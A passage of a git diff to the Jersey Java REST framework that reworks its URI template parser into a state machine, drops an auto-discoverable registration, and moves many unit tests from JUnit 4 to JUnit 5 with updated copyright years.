lengths.add(Integer.parseInt(regex)); + regexps.add(null); + } else { + if (paramType != 'p') { + state = State.ERROR; // regular expressions allowed just on path by the REST spec + c = regex.charAt(0); // display proper error values + ci.setPosition(ci.pos() - regex.length()); + break; + } + lengths.add(null); + regexps.add(regex); + } + } else { + regexps.add(previousState == State.REGEXP ? "" : null); + lengths.add(previousState == State.REGEXP ? 0 : null); + } + + names.add(nameBuilder.toString()); + explodes.add(star); + + nameBuilder.setLength(0); + regexBuilder.setLength(0); + star = false; + ignoredLastComma = false; + break; + } + + if (!whiteSpace) { + name.append(c); + } + whiteSpace = false; + + // switch state back or exit + switch (state) { + case COMMA: + state = State.TEMPLATE; + break; + case BRACKET: + state = State.EXIT; + break; } } - regexBuffer.append(c); + + if (state == State.ERROR) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template)); + } } - return regexBuffer.toString().trim(); - } + private static void append(char c, State state, StringBuilder templateSb, StringBuilder regexpSb) { + if (state == State.TEMPLATE) { + templateSb.append(c); + } else { // REGEXP + regexpSb.append(c); + } + } + + private static char consumeWhiteSpace(final CharacterIterator ci) { + char c; + do { + c = ci.next(); + } while (Character.isWhitespace(c)); + + return c; + } - private char consumeWhiteSpace(final CharacterIterator ci) { - char c; - do { - c = ci.next(); - } while (Character.isWhitespace(c)); + private enum State { + TEMPLATE/**/(0b000000001), // Template name, before '*', ':', ',' or '}' + REGEXP/* */(0b000000010), // Regular expression inside template, after : + STAR/* */(0b000000100), // * + COMMA/* */(0b000001000), // , + BRACKET/* */(0b000010000), // } + EXIT/* */(0b001000000), // quit parsing + ERROR/* */(0b100000000); // error when parsing + private final int value; + State(int value) { + this.value = value; + } + + /** + * Return error state when in not any of allowed states represented by their combined values + * @param allowed The combined values of states (state1.value | state2.value) not to return error level + * @return this state if in allowed state or {@link State#ERROR} if not + */ + State transition(int allowed) { + return ((value & allowed) != 0) ? this : State.ERROR; + } - return c; + /** + * Return error state when in not any of allowed states represented by their combined values + * @param allowed The combined values of states (state1.value | state2.value) not to return error level + * @param next the next state to transition + * @return next state if in allowed state or {@link State#ERROR} if not + */ + State transition(int allowed, State next) { + return ((value & allowed) != 0) ? next : State.ERROR; + } + } } } diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json index 9ea23c8d07d..ef2ae4d4b93 100644 --- a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json +++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json @@ -1,10 +1,4 @@ [ - { - "name":"org.glassfish.jersey.internal.config.ExternalPropertiesAutoDiscoverable", - "allDeclaredFields":true, - "allDeclaredMethods":true, - "allDeclaredConstructors":true - }, { "name":"org.glassfish.jersey.internal.inject.Custom", "allDeclaredMethods":true diff --git a/core-common/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable b/core-common/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable index abc1825f969..371b37b7b35 100644 --- a/core-common/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable +++ b/core-common/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable @@ -1,2 +1 @@ -org.glassfish.jersey.logging.LoggingFeatureAutoDiscoverable -org.glassfish.jersey.internal.config.ExternalPropertiesAutoDiscoverable \ No newline at end of file +org.glassfish.jersey.logging.LoggingFeatureAutoDiscoverable \ No newline at end of file diff --git a/core-common/src/test/java/org/glassfish/jersey/SecurityManagerConfiguredTest.java b/core-common/src/test/java/org/glassfish/jersey/SecurityManagerConfiguredTest.java index cfae326453f..4c90296f1e1 100644 --- a/core-common/src/test/java/org/glassfish/jersey/SecurityManagerConfiguredTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/SecurityManagerConfiguredTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,8 @@ package org.glassfish.jersey; -import org.junit.Test; -import static org.junit.Assert.assertNotNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertNotNull; /** * Test that verifies that security manager is setup to run the Jersey core server unit tests. @@ -30,7 +30,6 @@ public class SecurityManagerConfiguredTest { */ @Test public void testSecurityManagerIsConfigured() { - assertNotNull("Jersey core server unit tests should run with active security manager", - System.getSecurityManager()); + assertNotNull(System.getSecurityManager(), "Jersey core server unit tests should run with active security manager"); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java index 2bb7d120c41..b7d047241ab 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -29,7 +29,7 @@ import org.glassfish.jersey.message.internal.MessagingBinders; -import org.junit.Assert; +import org.junit.jupiter.api.Assertions; import java.util.concurrent.CompletionStage; @@ -68,31 +68,31 @@ public CompletionStage bootstrap(Class getConfig().as(CommonProperties.JSON_PROCESSING_FEATURE_DISABLE, Double.class)); } @Test @@ -80,8 +81,8 @@ public void mergePropertiesTest() { inputProperties.put("org.jersey.microprofile.config.added", "ADDED"); getConfig().mergeProperties(inputProperties); final Object result = readExternalPropertiesMap().get("jersey.config.server.provider.scanning.recursive"); - Assert.assertNull(result); - Assert.assertNull(readExternalPropertiesMap().get("org.jersey.microprofile.config.added")); + Assertions.assertNull(result); + Assertions.assertNull(readExternalPropertiesMap().get("org.jersey.microprofile.config.added")); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/inject/ProvidersTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/inject/ProvidersTest.java index b86833c87ff..1581f98dc5c 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/inject/ProvidersTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/inject/ProvidersTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,8 +28,8 @@ import org.glassfish.jersey.spi.Contract; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests {@link Providers}. diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/routing/CombinedMediaTypeTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/routing/CombinedMediaTypeTest.java index b4147cd7a86..23726076f29 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/routing/CombinedMediaTypeTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/routing/CombinedMediaTypeTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,10 +24,10 @@ import jakarta.ws.rs.core.MediaType; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.lessThan; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Combined media type tests. diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/sonar/SonarJerseyCommonTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/sonar/SonarJerseyCommonTest.java index 06a97ad8d7c..3a0557c19eb 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/sonar/SonarJerseyCommonTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/sonar/SonarJerseyCommonTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,8 @@ package org.glassfish.jersey.internal.sonar; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; /** * @author Stepan Vavra @@ -26,6 +26,6 @@ public class SonarJerseyCommonTest { @Test public void testUnitTest() { - Assert.assertEquals("common unit test", new SonarJerseyCommon().unitTest()); + Assertions.assertEquals("common unit test", new SonarJerseyCommon().unitTest()); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/Base64Test.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/Base64Test.java index b083ad94aa1..2878f795ca5 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/Base64Test.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/Base64Test.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,10 +19,10 @@ import java.util.Arrays; import java.util.Base64; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * @@ -64,21 +64,21 @@ public void testDecodeString() throws Exception { public void testRoundtripLengthMod3Equals0() { byte[] data = {0, 1, 2, 3, 4, 5, 6, 7, 8}; byte[] result = Base64.getDecoder().decode(Base64.getEncoder().encode(data)); - assertTrue("failed to roundtrip value to base64", Arrays.equals(data, result)); + assertTrue(Arrays.equals(data, result), "failed to roundtrip value to base64"); } @Test public void testRoundtripLengthMod3Equals1() { byte[] data = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; byte[] result = Base64.getDecoder().decode(Base64.getEncoder().encode(data)); - assertTrue("failed to roundtrip value to base64", Arrays.equals(data, result)); + assertTrue(Arrays.equals(data, result), "failed to roundtrip value to base64"); } @Test public void testRoundtripLengthMod3Equals2() { byte[] data = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; byte[] result = Base64.getDecoder().decode(Base64.getEncoder().encode(data)); - assertTrue("failed to roundtrip value to base64", Arrays.equals(data, result)); + assertTrue(Arrays.equals(data, result), "failed to roundtrip value to base64"); } @Test @@ -125,9 +125,9 @@ public void testDecodeString2() { + "/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/w=="; byte[] result = Base64.getDecoder().decode(data.getBytes()); - assertEquals("incorrect length", result.length, 256); + assertEquals(256, result.length, "incorrect length"); for (int i = 0; i < 256; ++i) { - assertEquals("incorrect value", result[i], (byte) i); + assertEquals((byte) i, result[i], "incorrect value"); } } } diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionCompareTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionCompareTest.java index 423ab0a19bf..47781d5e7f1 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionCompareTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionCompareTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,9 @@ package org.glassfish.jersey.internal.util; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; -import org.junit.Test; +import org.junit.jupiter.api.Test; public class JdkVersionCompareTest { diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionParseTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionParseTest.java index b0e8c4d0c6d..306a760d605 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionParseTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/JdkVersionParseTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,48 +16,36 @@ package org.glassfish.jersey.internal.util; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; -import java.util.Arrays; -import java.util.Collection; +import java.util.stream.Stream; -@RunWith(Parameterized.class) public class JdkVersionParseTest { - @Parameterized.Parameter - public String rawVersionString; - @Parameterized.Parameter(1) - public int expectedMajorVersion; - @Parameterized.Parameter(2) - public int expectedMinorVersion; - @Parameterized.Parameter(3) - public int expectedMaintenanceVersion; - @Parameterized.Parameter(4) - public int expectedUpdateVersion; - - @Parameterized.Parameters - public static Collection provideVersions() { - return Arrays.asList(new Object[][]{ + public static Stream provideVersions() { + return Stream.of( // Java 8 - {"1.8.0_141-b15", 1, 8, 0, 141}, - {"1.8.0_141", 1, 8, 0, 141}, + Arguments.of("1.8.0_141-b15", 1, 8, 0, 141), + Arguments.of("1.8.0_141", 1, 8, 0, 141), // Java 9 and above - {"9", 9, 0, 0, 0}, - {"9.0.3", 9, 0, 3, 0}, - {"11", 11, 0, 0, 0}, + Arguments.of("9", 9, 0, 0, 0), + Arguments.of("9.0.3", 9, 0, 3, 0), + Arguments.of("11", 11, 0, 0, 0), // malformed version - {"invalid version", -1, -1, -1, -1} - }); + Arguments.of("invalid version", -1, -1, -1, -1) + ); } - @Test - public void testParseVersion() { + @ParameterizedTest + @MethodSource("provideVersions") + public void testParseVersion(String rawVersionString, int expectedMajorVersion, int expectedMinorVersion, + int expectedMaintenanceVersion, int expectedUpdateVersion) { JdkVersion version = JdkVersion.parseVersion(rawVersionString); assertEquals(expectedMajorVersion, version.getMajor()); diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java index 029da428bc0..e9516922be9 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,11 +27,11 @@ import org.glassfish.jersey.internal.jsr166.Flow; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Test Jersey {@link Flow.Publisher} implementation, {@link JerseyPublisher}. @@ -165,28 +165,6 @@ public void testNonBlocking() throws InterruptedException { assertFalse(deadSubscriber.isCompleted()); } - @Test - public void testCascadingClose() throws InterruptedException { - final CountDownLatch openLatch = new CountDownLatch(1); - final CountDownLatch writeLatch = new CountDownLatch(1); - final CountDownLatch closeLatch = new CountDownLatch(1); - - final JerseyPublisher publisher = - new JerseyPublisher<>(JerseyPublisher.PublisherStrategy.BLOCKING); - final PublisherTestSubscriber subscriber = - new PublisherTestSubscriber("SUBSCRIBER", openLatch, writeLatch, closeLatch); - publisher.subscribe(subscriber); - assertTrue(openLatch.await(200, TimeUnit.MILLISECONDS)); - - subscriber.receive(1); - publisher.publish("Zero"); - assertTrue(writeLatch.await(1000, TimeUnit.MILLISECONDS)); - - publisher.close(false); // must not call onComplete() - Thread.sleep(10000); - assertFalse(subscriber.isCompleted()); - } - class PublisherTestSubscriber implements Flow.Subscriber { private final String name; diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/OsgiRegistryTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/OsgiRegistryTest.java index fe3de0c1b99..f71f9b4f645 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/OsgiRegistryTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/OsgiRegistryTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,8 +18,8 @@ import org.glassfish.jersey.internal.OsgiRegistry; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; /** * Utility class {@ling OsgiRegistry} tests. @@ -32,136 +32,136 @@ public class OsgiRegistryTest { public void testWebInfClassesBundleEntryPathTranslation() { String className = OsgiRegistry .bundleEntryPathToClassName("org/glassfish/jersey", "/WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testWebInfClassesBundleEntryPathTranslationPackageTrailingSlash() { String className = OsgiRegistry .bundleEntryPathToClassName("org/glassfish/jersey/", "/WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testWebInfClassesBundleEntryPathTranslationPackageLeadingSlash() { String className = OsgiRegistry .bundleEntryPathToClassName("/org/glassfish/jersey", "/WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testWebInfClassesBundleEntryPathTranslationBundleNoLeadingSlash() { String className = OsgiRegistry .bundleEntryPathToClassName("/org/glassfish/jersey", "WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testOsgiInfClassesBundleEntryPathTranslation() { String className = OsgiRegistry .bundleEntryPathToClassName("/org/glassfish/jersey", "OSGI-INF/directory/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testBundleEntryPathTranslation() { String className = OsgiRegistry.bundleEntryPathToClassName("/org/glassfish/jersey", "/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testBundleEntryPathTranslationBundleNoLeadingSlash() { String className = OsgiRegistry.bundleEntryPathToClassName("/org/glassfish/jersey", "org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testBundleEntryPathTranslationNotMatching() { String className = OsgiRegistry.bundleEntryPathToClassName("/com/oracle", "org/glassfish/jersey/Test.class"); - Assert.assertEquals("com.oracle.Test", className); + Assertions.assertEquals("com.oracle.Test", className); } @Test public void testWebInfClassesBundleEntryPathTranslationNotMatching() { String className = OsgiRegistry .bundleEntryPathToClassName("/com/oracle/", "/WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("com.oracle.Test", className); + Assertions.assertEquals("com.oracle.Test", className); } @Test public void testWebInfClassesBundleEntryPathTranslationNotMatching2() { String className = OsgiRegistry.bundleEntryPathToClassName("com/oracle", "/org/glassfish/jersey/Test.class"); - Assert.assertEquals("com.oracle.Test", className); + Assertions.assertEquals("com.oracle.Test", className); } @Test public void testRootBundleEntryPathTranslation() { String className = OsgiRegistry.bundleEntryPathToClassName("/", "/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testRootBundleEntryPathTranslationNoLeadingSlash() { String className = OsgiRegistry.bundleEntryPathToClassName("/", "org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testRootWebInfClassesBundleEntryPathTranslationNoLeadingSlash() { String className = OsgiRegistry.bundleEntryPathToClassName("/", "/WEB-INF/classes/org/glassfish/jersey/Test.class"); - Assert.assertEquals("org.glassfish.jersey.Test", className); + Assertions.assertEquals("org.glassfish.jersey.Test", className); } @Test public void testDotClassInPackageName() { String className = OsgiRegistry.bundleEntryPathToClassName("/", "com/classification/Test"); - Assert.assertEquals("com.classification.Test", className); + Assertions.assertEquals("com.classification.Test", className); } @Test public void testRootWebInfClassesBundleEntryPathEsTranslation() { String className = OsgiRegistry.bundleEntryPathToClassName("es", "/WEB-INF/classes/es/a/Test.class"); - Assert.assertEquals("es.a.Test", className); + Assertions.assertEquals("es.a.Test", className); } @Test public void testIsTopLevelEntry() { - Assert.assertTrue(OsgiRegistry.isPackageLevelEntry("a", "/a/Foo.class")); + Assertions.assertTrue(OsgiRegistry.isPackageLevelEntry("a", "/a/Foo.class")); } @Test public void testIsTopLevelEntrySequenceRepeats() { - Assert.assertFalse(OsgiRegistry.isPackageLevelEntry("o", "/a/Foo.class")); + Assertions.assertFalse(OsgiRegistry.isPackageLevelEntry("o", "/a/Foo.class")); } @Test public void testIsTopLevelEntryNoSlash() { - Assert.assertTrue(OsgiRegistry.isPackageLevelEntry("a", "a/Foo.class")); + Assertions.assertTrue(OsgiRegistry.isPackageLevelEntry("a", "a/Foo.class")); } @Test public void testIsTopLevelEntrySequenceRepeatsNoSlash() { - Assert.assertFalse(OsgiRegistry.isPackageLevelEntry("o", "a/Foo.class")); + Assertions.assertFalse(OsgiRegistry.isPackageLevelEntry("o", "a/Foo.class")); } @Test public void testIsTopLevelEntrySlash() { - Assert.assertTrue(OsgiRegistry.isPackageLevelEntry("a/", "/a/Foo.class")); + Assertions.assertTrue(OsgiRegistry.isPackageLevelEntry("a/", "/a/Foo.class")); } @Test public void testIsTopLevelEntrySequenceRepeatsSlash() { - Assert.assertFalse(OsgiRegistry.isPackageLevelEntry("o/", "/a/Foo.class")); + Assertions.assertFalse(OsgiRegistry.isPackageLevelEntry("o/", "/a/Foo.class")); } @Test public void testIsTopLevelEntryRoot() { - Assert.assertTrue(OsgiRegistry.isPackageLevelEntry("/", "/Foo.class")); + Assertions.assertTrue(OsgiRegistry.isPackageLevelEntry("/", "/Foo.class")); } @Test public void testIsTopLevelEntryRootFalse() { - Assert.assertFalse(OsgiRegistry.isPackageLevelEntry("/", "/a/Foo.class")); + Assertions.assertFalse(OsgiRegistry.isPackageLevelEntry("/", "/a/Foo.class")); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/PropertiesHelperTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/PropertiesHelperTest.java index 827505e3150..67df36939c5 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/PropertiesHelperTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/PropertiesHelperTest.java @@ -21,9 +21,9 @@ import jakarta.ws.rs.RuntimeType; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; /** * @author Miroslav Fuksa diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/ReflectionHelperTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/ReflectionHelperTest.java index edeef20c6de..8074527e14b 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/ReflectionHelperTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/ReflectionHelperTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,13 +21,14 @@ import java.security.AccessController; import java.security.PrivilegedAction; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.nullValue; import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.fail; /** * {@code ReflectionHelper} unit tests. @@ -64,29 +65,36 @@ public void getParameterizedClassArgumentsTest() { assertEquals(aClass, arguments[0]); } - @Test(expected = AccessControlException.class) + @Test public void securityManagerSetContextClassLoader() throws Exception { - final ClassLoader loader = ReflectionHelper.class.getClassLoader(); + assertThrows(AccessControlException.class, () -> { + final ClassLoader loader = ReflectionHelper.class.getClassLoader(); - Thread.currentThread().setContextClassLoader(loader); - fail("It should not be possible to set context class loader from unprivileged block"); + Thread.currentThread().setContextClassLoader(loader); + fail("It should not be possible to set context class loader from unprivileged block"); + }); } - @Test(expected = AccessControlException.class) + @Test public void securityManagerSetContextClassLoaderPA() throws Exception { - final ClassLoader loader = ReflectionHelper.class.getClassLoader(); + assertThrows(AccessControlException.class, () -> { + final ClassLoader loader = ReflectionHelper.class.getClassLoader(); - ReflectionHelper.setContextClassLoaderPA(loader).run(); - fail("It should not be possible to set context class loader from unprivileged block even via Jersey ReflectionHelper"); + ReflectionHelper.setContextClassLoaderPA(loader).run(); + fail("It should not be possible to set context class loader " + + "from unprivileged block even via Jersey ReflectionHelper"); + }); } - @Test(expected = AccessControlException.class) + @Test public void securityManagerSetContextClassLoaderInDoPrivileged() throws Exception { - final ClassLoader loader = ReflectionHelper.class.getClassLoader(); + assertThrows(AccessControlException.class, () -> { + final ClassLoader loader = ReflectionHelper.class.getClassLoader(); - AccessController.doPrivileged(ReflectionHelper.setContextClassLoaderPA(loader)); - fail("It should not be possible to set context class loader even from privileged block via Jersey ReflectionHelper " + AccessController.doPrivileged(ReflectionHelper.setContextClassLoaderPA(loader)); + fail("It should not be possible to set context class loader even from privileged block via Jersey ReflectionHelper " + "utility"); + }); } public static class FromStringClass { diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/TokenizerTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/TokenizerTest.java index 02ba36a7b7d..d0f51fd573b 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/TokenizerTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/TokenizerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,8 @@ package org.glassfish.jersey.internal.util; -import org.junit.Test; -import static org.junit.Assert.assertArrayEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertArrayEquals; /** * Tokenizer utility unit test. diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/AbstractKeyComparatorHashMapTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/AbstractKeyComparatorHashMapTest.java index fa008dd6cde..6faf736e4b6 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/AbstractKeyComparatorHashMapTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/AbstractKeyComparatorHashMapTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,9 @@ package org.glassfish.jersey.internal.util.collection; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertNull; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNull; /** * diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ByteBufferInputStreamTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ByteBufferInputStreamTest.java index b5fbeba35d7..6890b022466 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/util/collection/ByteBufferInputStreamTest.java +++ 